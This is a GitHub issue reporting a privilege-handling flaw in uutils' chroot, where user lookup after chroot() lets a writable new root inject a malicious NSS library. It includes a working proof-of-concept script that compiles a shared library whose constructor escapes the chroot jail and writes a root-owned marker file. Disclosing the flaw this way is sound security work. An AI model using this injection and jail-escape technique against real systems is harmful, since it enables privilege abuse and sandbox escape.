-
-
Notifications
You must be signed in to change notification settings - Fork 1.8k
Open
Labels
Description
Component
chroot
Description
uutils resolves --userspec after chroot() but before dropping privileges. On glibc this can reach getpwnam() → NSS, which reads nsswitch.conf and may dlopen() NEWROOT’s libnss_*.so.2, so a writable NEWROOT can inject code execution at that point.
fn set_context(options: &Options) -> UResult<()> {
enter_chroot(&options.newroot, options.skip_chdir)?;
match &options.userspec {
// ...
Some(UserSpec::UserOnly(user)) => {
let uid = name_to_uid(user)?; // ===> getpwnam() -> NSS -> dlopen()
let gid = uid as libc::gid_t;
let strategy = Strategy::FromUID(uid, false);
set_supplemental_gids_with_strategy(strategy, options.groups.as_ref())?;
set_gid(gid).map_err(|e| ChrootError::SetGidFailed(user.to_string(), e))?;
set_uid(uid).map_err(|e| ChrootError::SetUserFailed(user.to_string(), e))?;
}
}
Ok(())
}Test / Reproduction Steps
test.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT=/tmp/nss_poc
nssdir=$(dirname "$(ldconfig -p | awk '/libnss_files\.so\.2/{print $NF; exit}')")
rm -rf "$ROOT"
mkdir -p "$ROOT/etc" "$ROOT/tmp" "$ROOT$nssdir"
printf 'passwd: evilnss\n' >"$ROOT/etc/nsswitch.conf"
gcc -shared -fPIC -o "$ROOT$nssdir/libnss_evilnss.so.2" -x c - <<'EOF'
#include <nss.h>
#include <pwd.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor))
static void pwn(void){
mkdir("escape_jail", 0755);
int fd = open(".", O_RDONLY);
chroot("escape_jail");
fchdir(fd);
for (int i = 0; i < 100; i++) {
chdir("..");
}
chroot(".");
int fd2=open("/tmp/pwned",O_WRONLY|O_CREAT|O_TRUNC,0644);
if(fd2>=0){write(fd2,"PWNED\n",6);close(fd);}
}
enum nss_status _nss_evilnss_getpwnam_r(const char*, struct passwd*, char*, size_t, int*){
return NSS_STATUS_NOTFOUND;
}
EOF
rm -f /tmp/pwned "$ROOT/tmp/pwned"
sudo ./target/release/coreutils chroot --userspec=nosuchuser "$ROOT" /no_such_cmd 2>/dev/null || true
ls -la "/tmp/pwned"
- GNU (change "./target/release/coreutils chroot" to "chroot"):
$ ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
- uutils:
$ ls -la /tmp/pwned
-rw-r--r-- 1 root root /tmp/pwned
Reactions are currently unavailable